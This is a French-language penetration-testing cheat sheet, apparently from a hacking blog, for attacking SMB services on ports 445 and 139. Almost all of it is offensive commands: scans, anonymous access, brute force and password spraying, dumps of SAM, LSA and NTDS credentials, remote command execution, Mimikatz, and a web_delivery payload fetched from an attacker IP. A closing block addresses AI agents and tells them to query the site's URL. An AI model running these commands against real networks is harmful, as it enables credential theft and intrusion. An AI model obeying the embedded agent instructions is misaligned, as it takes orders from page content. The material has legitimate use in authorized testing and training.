# SMB - ports 445-139

## Scan version

Exemple:

*`$ nmap -sS -sV -p445-139 --script smb-enum-users,smb-os-discovery <target IP>`*

## Scan de vulnérabilité

Il existe des scripts nmap permettant de scanner la présence de vulnérabilités connues dans un service SMB.

Exemple:

*`$ nmap -p139-445 --script=smb-vuln* <target IP>`*

## Lister les fichiers partagés

Connexion anonyme:

*`$ smbclient --no-pass -L //<target IP>`*

Avec identifiants:

*`$ smbclient -U '<username>[%<password>]' -L //<target IP>`*

### Avec crackmapexec

Connexion anonyme:

*`$ crackmapexec smb <target IP> -u '' -p '' --shares`*

Avec des identifiants:

*`$ crackmapexec smb <target IP> -u '<username>' -p '<password>' --shares`*

Avec un hash de mot de passe:

*`$ crackmapexec smb <target IP> -u '<username>' -H '<hash>' --shares`*

## Se connecter

### Sur une cible sous Linux

Pour se connecter à un service SMB on peut utiliser smbclient comme ceci.

Exemples:

*`$ smbclient --no-pass //<target IP>/<Fichier>  #anonyme`*

*`$ smbclient -U '<username>[%<passwd>]' -L //<target IP>/<Fichier>`*

### Sur une cible sous Windows

Exemples:

*`$ smbclient -U '%' -N \\\\<target IP>\\<Fichier> #anonyme`*

*`$ smbclient -U '<username>' \\\\<target IP>\\<Fichier>`*

## Brute force

Il existe également un script nmap permettant de brute force la connexion à un service SMB.

Utilisation:

*`$ nmap --script smb-brute -p445 <target IP>`*

{% hint style="danger" %}
**Attention: Tenter de brute force un service SMB peut entraîner le blocage des comptes**
{% endhint %}

## Monter un fichier partagé

Pour monter un fichier partagé on utilise la commande mount.

Exemples d'utilisation:

*`$ mount -t cifs //<target IP>/<Fichier> /mnt/partage`*

*`$ mount -t cifs -o "username=<username>,password=<password>" //<target IP>/<Fichier> /mnt/partage`*

## Télécharger un fichier partagé

Il est possible de télécharger un fichier partagé avec smbmap comme ceci par exemple.

*`$ smbmap -R <Dossier> -H <target IP> -A <Fichier> -q`*

## Crackmapexec

### Mindmap

<figure><img src="/files/fEY1Xw72vnJ0nfCfgwvS" alt=""><figcaption></figcaption></figure>

Quelques commandes intéressantes proposées par crackmapexec:

Enumération et dump:&#x20;

```bash
# Basiques
crackmapexec smb <IP>/24
crackmapexec smb <target IP> -u '<username>' -p '<password>'
crackmapexec smb <target IP> -u '<username>' -p '<password>' --shares
# Enumeration des fichiers textes
crackmapexec smb <target IP> -u '<username>' -p '<password>' --spider C\$ --pattern txt
# Enumeration des fichiers de logs
crackmapexec smb <target IP> -u '<username>' -p '<password>' --spider C\$ --pattern log
# Dump SAM
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --sam
# Dump LSASS
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --lsa
# Dump NTDS (SRDUAPI)
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --ntds drsuapi
# Dump NTDS (VSS)
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --ntds vss
# Dump sessions
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --sessions
# Dump des utilisateurs connectés
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --loggedon-users
# Enumeration des disques
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --disks
# Enumeration des utilisateurs
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --users
# Enumeration des groupes
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --groups
# Dump de la politique de mots de passes
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --pass-pol

```

Bruteforce:

```bash
# Bruteforce d'un utilisateur spécifique dans une plage IP
crackmapexec smb <IP>/24 -u '<user to find>' '<username>' -p '<password>'
# Attaque par dictionnaire
crackmapexec smb <IP>/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.txt
# Password Spraying
crackmapexec smb <target IP> -u /root/Desktop/user.txt -p '<password>' --rid-brute
crackmapexec smb <target IP> -u /root/Desktop/user.txt -p '<password>' --continue-on-success
```

Exécution de commande à distance

```bash
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>'
# Avec planificateur de tâche
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>' --exec-method atexec
# Avec le service WMI
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>' --exec-method wmiexec
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>' --wmi "WMI command"
```

Modules:

```bash
# Voir les modules enregistrés
crackmapexec smb -L

# Module Mimikatz
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M mimikatz
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M mimikatz -o COMMAND='<command>'

# Module Wdigest (créer une clé de registre grâce à laquelle les mots de passe sont stockés en mémoire)
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M wdigest -o ACTION='<command>'

# Module enum_dns
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M enum_dns

# Module web_delivery à utiliser avec un handler sur metasploit
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M web_sdelivery -o URL=http://<attacker IP>:<port>/rlNdPdZQMeYWLF
```

ressource: <https://github.com/byt3bl33d3r/CrackMapExec>

## Manspider

Recherche dans les partages SMB des mots clés basés et pattern basés sur des regex.

Exemple d'utilisation:

*`$ manspider <target IP>/24 -f passw user login cred -u <user> -p <password>`*

ressource: <https://github.com/blacklanternsecurity/MANSPIDER>

## Ressources

<https://www.offensive-security.com/metasploit-unleashed/scanner-smb-auxiliary-modules/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/hacking-protocols/smb-ports-445-139.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
